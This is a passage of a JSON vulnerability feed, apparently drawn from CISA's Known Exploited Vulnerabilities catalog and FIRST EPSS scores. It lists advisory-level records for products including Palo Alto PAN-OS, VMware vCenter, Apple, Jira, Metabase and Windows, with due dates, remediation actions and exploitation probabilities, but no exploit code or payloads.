Successful exploitation of this vulnerability may result in unauthenticated file disclosure.","detail":"CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-21","updatedAt":null,"regions":["Global"],"vendor":"Oracle","product":"Agile Product Lifecycle Management (PLM)","stacks":["Oracle","Agile Product Lifecycle Management (PLM)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-21","dueAt":"2024-12-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.01723,"percentile":0.77331,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-21287","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-21287 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-21287&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-21287, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-44308","cveId":"CVE-2024-44308","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Code Execution Vulnerability","summary":"Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to arbitrary code execution.","detail":"CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-21","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-21","dueAt":"2024-12-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.10157,"percentile":0.95622,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-44308","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-44308 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-44308&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-44308, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-44309","cveId":"CVE-2024-44309","aliases":[],"kind":"vulnerability","title":"Apple Multiple Products Cross-Site Scripting (XSS) Vulnerability","summary":"Apple iOS, macOS, and other Apple products contain an unspecified vulnerability when processing maliciously crafted web content that may lead to a cross-site scripting (XSS) attack.","detail":"CISA added this entry on 2024-11-21. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-21","updatedAt":null,"regions":["Global"],"vendor":"Apple","product":"Multiple Products","stacks":["Apple","Multiple Products"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-21","dueAt":"2024-12-12","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.2259,"percentile":0.97699,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-44309","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-21","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-44309 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-44309&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-44309, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38812","cveId":"CVE-2024-38812","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Heap-Based Buffer Overflow Vulnerability","summary":"VMware vCenter Server contains a heap-based buffer overflow vulnerability in the implementation of the DCERPC protocol. This vulnerability could allow an attacker with network access to the vCenter Server to execute remote code by sending a specially crafted packet.","detail":"CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-20","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-20","dueAt":"2024-12-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.54571,"percentile":0.9901,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38812","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38812 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38812&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38812, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-38813","cveId":"CVE-2024-38813","aliases":[],"kind":"vulnerability","title":"VMware vCenter Server Privilege Escalation Vulnerability","summary":"VMware vCenter contains an improper check for dropped privileges vulnerability. This vulnerability could allow an attacker with network access to the vCenter Server to escalate privileges to root by sending a specially crafted packet.","detail":"CISA added this entry on 2024-11-20. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-20","updatedAt":null,"regions":["Global"],"vendor":"VMware","product":"vCenter Server","stacks":["VMware","vCenter Server"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-20","dueAt":"2024-12-11","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.17355,"percentile":0.97093,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-38813","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-20","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-38813 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-38813&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-38813, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-0012","cveId":"CVE-2024-0012","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Management Interface Authentication Bypass Vulnerability","summary":"Palo Alto Networks PAN-OS contains an authentication bypass vulnerability in the web-based management interface for several PAN-OS products, including firewalls and VPN concentrators.","detail":"CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, management interface for affected devices should not be exposed to untrusted networks, including the internet.","publishedAt":"2024-11-18","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-18","dueAt":"2024-12-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, management interface for affected devices should not be exposed to untrusted networks, including the internet.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99786,"percentile":0.99955,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-0012","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-0012 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-0012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-0012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-1212","cveId":"CVE-2024-1212","aliases":[],"kind":"vulnerability","title":"Progress Kemp LoadMaster OS Command Injection Vulnerability","summary":"Progress Kemp LoadMaster contains an OS command injection vulnerability that allows an unauthenticated, remote attacker to access the system through the LoadMaster management interface, enabling arbitrary system command execution.","detail":"CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-18","updatedAt":null,"regions":["Global"],"vendor":"Progress","product":"Kemp LoadMaster","stacks":["Progress (MOVEit, Telerik, WS_FTP)","Progress","Kemp LoadMaster"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-18","dueAt":"2024-12-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.95388,"percentile":0.99867,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-1212","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-1212 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-1212&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-1212, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9474","cveId":"CVE-2024-9474","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks PAN-OS Management Interface OS Command Injection Vulnerability","summary":"Palo Alto Networks PAN-OS contains an OS command injection vulnerability that allows for privilege escalation through the web-based management interface for several PAN products, including firewalls and VPN concentrators.","detail":"CISA added this entry on 2024-11-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, the management interfaces for affected devices should not be exposed to untrusted networks, including the internet.","publishedAt":"2024-11-18","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"PAN-OS","stacks":["Palo Alto Networks","PAN-OS"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-18","dueAt":"2024-12-09","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable. Additionally, the management interfaces for affected devices should not be exposed to untrusted networks, including the internet.","ransomwareUse":"Known","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.93751,"percentile":0.99842,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9474","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-18","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9474 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9474&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9474, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9463","cveId":"CVE-2024-9463","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks Expedition OS Command Injection Vulnerability","summary":"Palo Alto Networks Expedition contains an OS command injection vulnerability that allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.","detail":"CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-14","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"Expedition","stacks":["Palo Alto Networks","Expedition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-14","dueAt":"2024-12-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.98546,"percentile":0.99921,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9463","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9463 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9463&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9463, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-9465","cveId":"CVE-2024-9465","aliases":[],"kind":"vulnerability","title":"Palo Alto Networks Expedition SQL Injection Vulnerability","summary":"Palo Alto Networks Expedition contains a SQL injection vulnerability that allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.","detail":"CISA added this entry on 2024-11-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-14","updatedAt":null,"regions":["Global"],"vendor":"Palo Alto Networks","product":"Expedition","stacks":["Palo Alto Networks","Expedition"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-14","dueAt":"2024-12-05","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99626,"percentile":0.99948,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-9465","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-14","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-9465 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-9465&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-9465, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2014-2120","cveId":"CVE-2014-2120","aliases":[],"kind":"vulnerability","title":"Cisco Adaptive Security Appliance (ASA) Cross-Site Scripting (XSS) Vulnerability","summary":"Cisco Adaptive Security Appliance (ASA) contains a cross-site scripting (XSS) vulnerability in the WebVPN login page. This vulnerability allows remote attackers to inject arbitrary web script or HTML via an unspecified parameter.","detail":"CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-12","updatedAt":null,"regions":["Global"],"vendor":"Cisco","product":"Adaptive Security Appliance (ASA)","stacks":["Cisco","Adaptive Security Appliance (ASA)"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-12","dueAt":"2024-12-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.22558,"percentile":0.97697,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2014-2120","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2014-2120 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2014-2120&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2014-2120, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-26086","cveId":"CVE-2021-26086","aliases":[],"kind":"vulnerability","title":"Atlassian Jira Server and Data Center Path Traversal Vulnerability","summary":"Atlassian Jira Server and Data Center contain a path traversal vulnerability that allows a remote attacker to read particular files in the /WEB-INF/web.xml endpoint.","detail":"CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-12","updatedAt":null,"regions":["Global"],"vendor":"Atlassian","product":"Jira Server and Data Center","stacks":["Atlassian","Jira Server and Data Center"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-12","dueAt":"2024-12-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.99999,"percentile":0.99993,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-26086","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-26086 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-26086&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-26086, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2021-41277","cveId":"CVE-2021-41277","aliases":[],"kind":"vulnerability","title":"Metabase GeoJSON API Local File Inclusion Vulnerability","summary":"Metabase contains a local file inclusion vulnerability in the custom map support in the API to read GeoJSON formatted data.","detail":"CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-12","updatedAt":null,"regions":["Global"],"vendor":"Metabase","product":"Metabase","stacks":["Metabase"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-12","dueAt":"2024-12-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.97178,"percentile":0.99894,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2021-41277","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2021-41277 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2021-41277&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2021-41277, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-43451","cveId":"CVE-2024-43451","aliases":[],"kind":"vulnerability","title":"Microsoft Windows NTLMv2 Hash Disclosure Spoofing Vulnerability","summary":"Microsoft Windows contains an NTLMv2 hash spoofing vulnerability that could result in disclosing a user's NTLMv2 hash to an attacker via a file open operation. The attacker could then leverage this hash to impersonate that user.","detail":"CISA added this entry on 2024-11-12. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","publishedAt":"2024-11-12","updatedAt":null,"regions":["Global"],"vendor":"Microsoft","product":"Windows","stacks":["Microsoft Windows","Microsoft","Windows"],"knownExploited":true,"zeroDay":null,"kev":{"addedAt":"2024-11-12","dueAt":"2024-12-03","action":"Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.","ransomwareUse":"Unknown","sourceUrl":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","asOf":"2026-10-23T19:30:18.920Z"},"metrics":{"cvss":null,"epss":{"probability":0.84266,"percentile":0.99695,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"CISA KEV entry CVE-2024-43451","url":"https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json","type":"primary","publishedAt":"2024-11-12","checkedAt":"2026-10-26T18:50:55.505Z","supports":"The CVE-2024-43451 catalog entry establishes known exploitation, date added, required action, and the federal due date; not zero-day status."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-43451&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-43451, scored 2026-10-25. This is a model estimate, not proof of 